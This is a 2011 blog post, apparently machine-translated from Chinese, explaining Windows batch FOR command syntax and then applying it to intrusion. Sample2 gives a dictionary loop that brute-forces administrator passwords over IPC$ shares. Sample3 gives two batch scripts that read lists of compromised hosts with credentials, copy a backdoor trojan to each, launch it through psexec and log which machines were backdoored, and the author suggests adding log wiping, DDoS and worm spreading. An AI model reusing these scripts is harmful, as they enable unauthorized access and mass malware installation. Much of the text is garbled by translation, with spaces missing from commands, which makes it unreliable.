Sunday, January 16, 2011
【 Weak current College 】 BAT files commonly used code (2)
If command extensions are enabled, the following extra FOR command format will be
Support:
FOR/D%variableIN(set)DOcommand[command-parameters]
If set contains wildcards, you specify the directory name matching, not with the file
Name matching.
FOR/R[[drive:]path]%variableIN(set)DOcommand[command-
Check to [drive:] path as the root of the directory tree, and links to each directory
The for statement. If you do not specify a directory after/R, you use the current
Directory. If you set only a single dot (.) Characters, then enumerates the directory tree.
FOR/L%variableIN(start,step,end)DOcommand[command-para
The set that increments from start to finish of a sequence of numbers.
Thus, (1, 1, 5) will produce a sequence 12345, (5,-1,1) will produce
Sequence (54321).
FOR/F["options"]%variableIN(file-set)DOcommand
FOR/F["options"]%variableIN("string")DOcommand
FOR/F["options"]%variableIN(command)DOcommand
Or, if usebackq option:
FOR/F["options"]%variableIN(file-set)DOcommand
FOR/F["options"]%variableIN("string")DOcommand
FOR/F["options"]%variableIN(command)DOcommand
Filenameset as one or more file names. Continue to the filenameset
The next file, each file has been opened, read, and after treatment.
Treatment includes read file, breaks it into text line by line, and then adds each line
Resolves to zero or more symbols. And then using the symbols found string variable value
Call the For loop. By default, every file/F through each row in a separate
In the first blank symbol. Skip blank lines. You can specify an optional "options"
Parameter to override the default parsing operation. The quoted string contains one or more
To specify different parsing options keywords. These keywords are:
Eol = c-means an end of line comment character (just one)
Skip = n-means ignore the start of the file.
Delims = xxx-means the delimiter set. This replaces the spaces and tabs of
The default delimiter set.
Tokens = x, y, m-n-refers to each row of which symbol is passed to each iteration
-For itself. This causes additional variable names
Format to a range. By nth symbol specified m
The symbol string of the last character of the asterisk,
Then an additional variable in the analysis of the last symbol
Distribution and accept the rows retain text.
Specifies the new syntax usebackq-is already in use in the following circumstances:
In a command to execute a back quoted string and
Quote character as a literal string command is allowed in the fi
Use double quotes in extended from the file name.
sample1:
FOR/F"eol=;tokens=2,3*delims=,"%iin(myfile.txt)docommand
Parses each line in myfile.txt, ignoring those that begin with a semicolon, each row in the second and third symbol passed to for program; comma and/or space delimiter. Please note that this statement for that body I to get referenced% second symbol references% to obtain the j third symbol references% k to win the third signed after all remaining symbols. For file name with spaces, you need to use double quotes to enclose the file name. In order to use this way to use double quotes, you also need to use the usebackq option, otherwise, the double quotes will be understood to be used to define a string to be analyzed.
% I specifically for statements in the description,% j and k through tokens% = option is designed to get instructions. You can use the tokens = line specifies a maximum of 26 symbols, as long as you don't try to illustrate one higher than the letter z, or z variable. Remember, FOR variable is a single letter, case and global; at the same time there should be no more than 52 were in use.
You can also use the adjacent strings FOR/F analysis of logic; to do this, enclose the filenameset between the parentheses. In this way, the string will be treated as a file in a single input line.
Finally, you can use the FOR/F command to parse the output of a command. Approach is the filenameset between the parentheses into an enclosed string. The string will be treated as a command line that is passed to aChild CMD.EXE and the output is captured into the
And are used as file analysis. Therefore, the following example:
FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i
Enumerates the current environment environment variable name.
In addition, the replacement FOR variable references have been enhanced. You can now use the following
Option syntax:
~ I-remove any quotation marks ('); expand% I
% ~ FI-will expand to one I% fully qualified path name
% ~ DI-only% I expanded to a drive letter
% ~% PI-only to a path I expansion
% ~% NI-I only one filename extension to the
% ~ XI-I only% to a file name extension to expand
% ~ SI-expanded path contains short names only
% ~ AI-will expand to the file I% of file attributes
% ~ TI-will expand to the file I% of date/time
% ~ ZI-I to be% file size
% ~ $ PATH: I-find listed in the path environment variable to the directory and expand the% I
To find the first fully-qualified name. If the environment variable
Is not defined or the file is not found, this key combination will expand
The empty string
You can combine multiple modifiers to get the results:
% ~ DpI-I only% to an expansion of a drive letter and path
% ~ NxI-I only% to an expansion of the file name and extension
% ~ FsI-I only% to an expanded with the full pathname of the short name
% ~ Dp $ PATH: I-find listed in the path environment variable to the directory and expand the% I
To find the first drive letter and path.
% ~ FtzaI-will expand to I% similar output line DIR
In the above example,% I and PATH available other valid values instead. % ~ Syntax
Use a valid FOR variable name terminates. Select similar% I uppercase variable names
More readable and avoid and nocase of key combinations.
These are MS official help, here's a few examples to illustrate how the invasion in the For command.
sample2:
Use For the command to achieve a target host-Win2k violence password cracking.
We use netuse\\ip\ipc $ "password"/u: "administrator" to try this and connect to the target host, when successful, make a note of the password.
The most important command is: for/fi% in (dict.txt) donetuse\\ip\ipc $ I% "/u:" administrator "
I used to represent the admin%, the extraction in the dict.txt I% used netuse command to connect. And then runs the program passes the results-find command
For/fi%% in (dict.txt) donetuse\\ip\ipc $ I%% "/u:" administrator "| find": command completed successfully ">> D:\ok.txt, ko.
sample3:
Do you ever have a large number of chicken in his hand waiting for you to Backdoor + Trojans?, when they are especially when originally very happy thing will become very depressed:). Article at the beginning is to use a batch file, you can simplify routine or repetitive tasks. So how can you achieve? hehe, watch it and you'll understand.
Major orders only: (use a batch file FOR the command, the specified variable use%% variable)
@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcalldoor.bat%%i%%j%%k
Tokens of usage see above sample1, here it represents sequentially victim.txt content passed to the parameter% door.bat I% j% k.
While cultivate.bat is nothing more than to build with netuse command IPC $ connection, and copy the Trojan backdoor to the victim, + and then use the return code (Iferrorlever =) to filter the successful planting of backdoor host and echo echo out, or to the specified file.
Delims = represents the contents of the vivtim.txt is a space-separated. I would like to see here, you must understand the content of this victim.txt is kind. Should I under%%%%%% j k represents objects to arrange, General is ippasswordusername.
The embryonic form of code:
---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------
@echooff
@if"%1"==""gotousage
@for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k
@gotoend
:usage
@echorunthisbatchindosmodle.orjustdouble-clickit.
:end
---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------
-------------------cutherethensaveasabatchfile(Icallitdoor.bat)-----------------
@netuse\\%1\ipc$%3/u:"%2"
@iferrorlevel1gotofailed
@echoTryingtoestablishtheIPC$connection………… OK
@copywindrv32.exe\\%1\admin$\system32&&ifnoterrorlevel1echoIP%1USER%2PWD%3>>ko.txt
@p***ec\\%1c:\winnt\system32\windrv32.exe
@p***ec\\%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored>>ko.txt
:failed
@echoSorrycannotconnectedtothevictim.
-----------------cutherethensaveasabatchfile(Icallitdoor.bat)-------------------
This is only one automatic cropping backdoor batch embryonic form, two batches and backdoors (Windrv32.exe), takes on a unified PSexec.exe directory. batch content
Is extensible, for example: to clear the log + DDOS capabilities, join a scheduled add user functionality, better is to have the automatic transmission feature (worm)-here is more narrative,
The following is a common command under DOS
Cd change current directory sys tray making DOS
Copy-copy file del delete files
Deltree delete a directory tree dir column name
Diskcopy edit text editing system disk
Format format a disk md build subdirectory
Mem view memory status display file content type
Rd delete directory ren changed filename
DOS commands Daquan
Sfc.exe System File Checker
Sfc/scannow-windows file protection
Tsshutdn-60 seconds countdown shutdown command
Tourstartxp introduction (after installation of roaming XP programs)
Taskmgr Task Manager
Eventvwr-Event Viewer
Eudcedit-creation program
Explorer-open Explorer
Object Packager packager-
Perfmon.msc computer performance monitoring program
Progman Program Manager
Regedit.exe registry
Rsop.msc-group policy results sets
Regedt32-Registry Editor
Rononce-p15 sec shutdown
Regsvr32/u * .dll to stop running the dll file
Regsvr32/uzipfldr.dll cancel ZIP support
Cmd.exeCMD command prompt
Chkdsk.exe-Chkdsk disk check
Certmgr.msc certificate management utility
Calc-start Calculator
Charmap start character map
Cliconfg-SQLSERVER client network utility
Clipbrd Clipboard Viewer
Conf-start netmeeting
Managed compmgmt.msc-computer
Cleanmgr-garbage sorting
Ciadv.msc indexing service program
Open on-screen keyboard osk
Odbcad32-ODBC data source Manager
Oobe/msoobe/a check whether activate XP
Lusrmgr.msc local users and groups
Logoff-logout command
Iexpress-Trojans bundled tools, system comes with
Nslookup-IP address detection devices
Fsmgmt.msc-shared folder Manager
Utilman Utility Manager
Gpedit.msc-group policy
Labels:
[:]
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment